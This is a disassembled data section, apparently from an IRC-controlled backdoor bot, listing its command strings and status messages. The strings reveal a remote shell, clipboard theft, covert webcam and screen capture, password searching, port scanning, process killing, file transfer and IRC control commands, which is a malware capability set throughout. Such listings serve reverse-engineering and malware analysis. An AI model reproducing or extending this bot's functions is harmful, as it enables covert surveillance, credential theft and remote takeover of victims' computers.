dword_435354	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_435390	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_4353B0	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_4353FC	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_435448	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_435490	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_4354A0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_4354AC	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_4354B8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_4354C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_435508	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_435558	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_435594	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_4355BC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_435604	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_435630	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_435634	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_43565C	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_4356A4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4356CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4356F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_43571C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_435744	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435794	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 4
unk_4357CC	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 10h
unk_435800	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 10h
dword_435830	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_435858	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_435888	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_4358C0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4358F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_435938	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435974	db    2			; DATA XREF: sub_40EE72+56EDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_4359A8	db    2			; DATA XREF: sub_40EE72:loc_41454Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4359E4	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_435A20	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_435A54	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 10h
dword_435AA0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_435AEC	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_435B34	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_435B7C	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_435BA8	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_435BF4	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435C2C	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 10h
unk_435C70	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_435CE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435D1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435D4C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435D7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_435DA4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_435DE0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_435E14	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_435E4C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o
					; sub_40EE72:loc_414B4Co
		align 4
dword_435E98	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C6Ao
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_435ECC	db    3			; DATA XREF: sub_40EE72:loc_413AC7o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 10h
unk_435F10	db    3			; DATA XREF: sub_40EE72+4C4Bo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_435F4C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C2Bo
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_435F80	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A51o
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435FB8	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB4o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435FE4	db    2			; DATA XREF: sub_40EE72:loc_4139F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_436024	db    2			; DATA XREF: sub_40EE72+4B76o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_436058	db    2			; DATA XREF: sub_40EE72:loc_413992o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_43609C	db    2			; DATA XREF: sub_40EE72+4B19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4360D4	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD4o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_436100	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Fo
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_436134	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D4o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_436158	db    2			; DATA XREF: sub_40EE72+49B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_4361A4	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4947o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4361CC	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413747o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4361F8	db    2			; DATA XREF: sub_40EE72+48CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_436224	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+489Ao
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_43624C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Fo
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_436288	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Fo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4362B8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+483Bo
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_4362EC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41363Bo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_436338	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413631o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_436388	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B5o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_4363C4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Fo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_43640C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413588o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 10h
dword_436450	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4706o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FCo
		align 4
dword_436494	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Do
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_4364C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4647o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413465o
dword_436504	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413452o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_43654C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41344Bo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_436588	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C9o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413402o
		align 4
dword_4365CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4578o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_4365F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4534o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_436634	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4518o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_436668	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4498o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_436694	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4461o
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
dword_4366C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4413o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_4366EC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A2o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436710	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o
					; sub_40EE72+4E78o
dword_43671C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4341o
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+4330o
		align 4
dword_436754	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4307o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_436780	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4299o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4367AC	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+4241o
dword_4367B4	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4214o
